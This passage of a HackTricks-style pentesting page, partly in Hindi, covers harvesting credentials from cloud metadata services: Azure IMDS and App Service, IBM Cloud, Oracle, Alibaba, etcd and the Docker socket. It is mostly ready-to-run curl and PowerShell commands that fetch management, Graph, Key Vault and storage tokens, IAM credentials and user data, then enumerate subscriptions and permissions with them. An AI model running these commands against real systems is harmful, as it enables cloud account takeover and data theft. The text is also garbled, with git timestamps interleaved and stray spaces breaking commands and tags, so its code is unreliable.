{% tabs %}
{% tab title="Bash" %}
2024-03-03 13:58:32 +00:00
{% code overflow="wrap" %}
2023-05-10 14:04:00 +00:00
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn .microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION& resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION& resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION& resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION& resource=https://storage.azure.com/"
```
{% endcode %}
2024-07-19 16:18:57 +00:00
{% endtab %}
2023-05-10 14:04:00 +00:00
2024-09-04 13:36:53 +00:00
{% tab title="पीएस" %}
2023-05-10 14:04:00 +00:00
```bash
2022-09-25 18:26:29 +00:00
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
2022-10-30 18:21:55 +00:00
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01& format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
2022-09-25 22:19:09 +00:00
# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02& format=text
/metadata/instance/compute/userData?api-version=2021-01-01& format=text
2022-02-13 12:30:13 +00:00
```
2024-07-19 16:18:57 +00:00
{% endtab %}
{% endtabs %}
2024-04-06 18:32:19 +00:00
2022-09-29 13:18:42 +00:00
### Azure App Service
2022-09-25 14:14:17 +00:00
2024-07-19 16:18:57 +00:00
**env** से आप `IDENTITY_HEADER` _और_ `IDENTITY_ENDPOINT` के मान प्राप्त कर सकते हैं। जिसका उपयोग आप मेटाडेटा सर्वर के साथ बातचीत करने के लिए एक टोकन प्राप्त करने के लिए कर सकते हैं।
2022-09-25 14:14:17 +00:00
2024-07-19 16:18:57 +00:00
अधिकतर, आप इन संसाधनों में से किसी एक के लिए एक टोकन चाहते हैं:
2022-10-26 12:49:19 +00:00
* [https://storage.azure.com ](https://storage.azure.com/ )
* [https://vault.azure.net ](https://vault.azure.net/ )
* [https://graph.microsoft.com ](https://graph.microsoft.com/ )
* [https://management.azure.com ](https://management.azure.com/ )
2022-09-25 14:14:17 +00:00
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
2022-09-25 14:51:27 +00:00
# Get management token
2022-09-25 14:14:17 +00:00
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/& api-version=2017-09-01" -H secret:$IDENTITY_HEADER
2022-09-25 14:51:27 +00:00
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/& api-version=2017-09-01" -H secret:$IDENTITY_HEADER
2022-09-25 14:14:17 +00:00
# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/< subscription-uid > /resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/< subscription-uid > /resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/< VM-name > /providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
```
```powershell
2022-09-25 14:51:27 +00:00
# API request in powershell to management endpoint
2022-09-25 14:14:17 +00:00
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
2022-09-25 14:51:27 +00:00
$RequestParams = @{
2023-11-06 08:38:02 +00:00
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
2022-09-25 14:51:27 +00:00
}
(Invoke-RestMethod @RequestParams ).value
# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
2022-09-25 14:14:17 +00:00
$RequestParams = @{
2023-11-06 08:38:02 +00:00
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
2022-09-25 14:14:17 +00:00
}
(Invoke-RestMethod @RequestParams ).value
2022-09-25 14:51:27 +00:00
# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
2023-11-06 08:38:02 +00:00
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
2022-09-25 14:51:27 +00:00
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
2022-09-25 14:14:17 +00:00
```
2024-07-19 16:18:57 +00:00
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
2023-02-10 12:30:22 +00:00
{% hint style="warning" %}
2024-07-19 16:18:57 +00:00
ध्यान दें कि IBM में डिफ़ॉल्ट रूप से मेटाडेटा सक्षम नहीं है, इसलिए यह संभव है कि आप इसे एक्सेस नहीं कर पाएंगे, भले ही आप IBM क्लाउड VM के अंदर हों
2023-02-10 12:30:22 +00:00
{% endhint %}
{% code overflow="wrap" %}
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
2023-11-06 08:38:02 +00:00
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
2023-02-10 12:30:22 +00:00
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}
2024-09-04 13:36:53 +00:00
विभिन्न प्लेटफार्मों की मेटाडेटा सेवाओं के लिए दस्तावेज़ीकरण नीचे दिया गया है, जो उन तरीकों को उजागर करता है जिनके माध्यम से उदाहरणों के लिए कॉन्फ़िगरेशन और रनटाइम जानकारी तक पहुंचा जा सकता है। प्रत्येक प्लेटफ़ॉर्म अपनी मेटाडेटा सेवाओं तक पहुँचने के लिए अद्वितीय एंडपॉइंट प्रदान करता है।
2024-07-19 16:18:57 +00:00
## Packetcloud
2023-02-10 12:30:22 +00:00
2024-07-19 16:18:57 +00:00
Packetcloud के मेटाडेटा तक पहुँचने के लिए, दस्तावेज़ीकरण यहाँ पाया जा सकता है: [https://metadata.packet.net/userdata ](https://metadata.packet.net/userdata )
2022-02-13 12:30:13 +00:00
2024-07-19 16:18:57 +00:00
## OpenStack/RackSpace
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
यहाँ हेडर की आवश्यकता का उल्लेख नहीं किया गया है। मेटाडेटा तक पहुँचने के लिए:
2024-02-23 17:48:00 +00:00
* `http://169.254.169.254/openstack`
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
## HP Helion
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
यहाँ भी हेडर की आवश्यकता का उल्लेख नहीं किया गया है। मेटाडेटा यहाँ उपलब्ध है:
2024-02-23 17:48:00 +00:00
* `http://169.254.169.254/2009-04-04/meta-data/`
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
## Oracle Cloud
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
Oracle Cloud विभिन्न मेटाडेटा पहलुओं तक पहुँचने के लिए कई एंडपॉइंट प्रदान करता है:
2024-02-23 17:48:00 +00:00
* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
## Alibaba
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
Alibaba मेटाडेटा तक पहुँचने के लिए एंडपॉइंट प्रदान करता है, जिसमें उदाहरण और छवि आईडी शामिल हैं:
2024-02-23 17:48:00 +00:00
* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
## Kubernetes ETCD
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
Kubernetes ETCD API कुंजी, आंतरिक IP पते और पोर्ट रख सकता है। पहुँच का प्रदर्शन इस प्रकार है:
2024-02-23 17:48:00 +00:00
* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
## Docker
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
Docker मेटाडेटा को स्थानीय रूप से एक्सेस किया जा सकता है, जिसमें कंटेनर और छवि जानकारी पुनर्प्राप्त करने के उदाहरण दिए गए हैं:
2024-02-23 17:48:00 +00:00
2024-07-19 16:18:57 +00:00
* Docker सॉकेट के माध्यम से कंटेनरों और छवियों के मेटाडेटा तक पहुँचने के लिए सरल उदाहरण:
2024-02-23 17:48:00 +00:00
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
2024-07-19 16:18:57 +00:00
* कंटेनर के अंदर, Docker सॉकेट के साथ curl का उपयोग करें:
2024-02-23 17:48:00 +00:00
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
## Rancher
2024-02-06 04:05:58 +00:00
2024-07-19 16:18:57 +00:00
Rancher का मेटाडेटा इस प्रकार पहुँच किया जा सकता है:
2022-02-13 12:30:13 +00:00
2024-02-23 17:48:00 +00:00
* `curl http://rancher-metadata/<version>/<path>`
2024-07-19 16:18:57 +00:00
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP हैकिंग सीखें और अभ्यास करें: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
< details >
< summary > HackTricks का समर्थन करें< / summary >
* [**सदस्यता योजनाएँ** ](https://github.com/sponsors/carlospolop ) देखें!
2024-09-04 13:36:53 +00:00
* **💬 [**Discord समूह** ](https://discord.gg/hRep4RUj7f ) या [**टेलीग्राम समूह** ](https://t.me/peass ) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-07-19 16:18:57 +00:00
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks** ](https://github.com/carlospolop/hacktricks ) और [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) गिटहब रिपोजिटरी में PR सबमिट करें।**
< / details >
{% endhint %}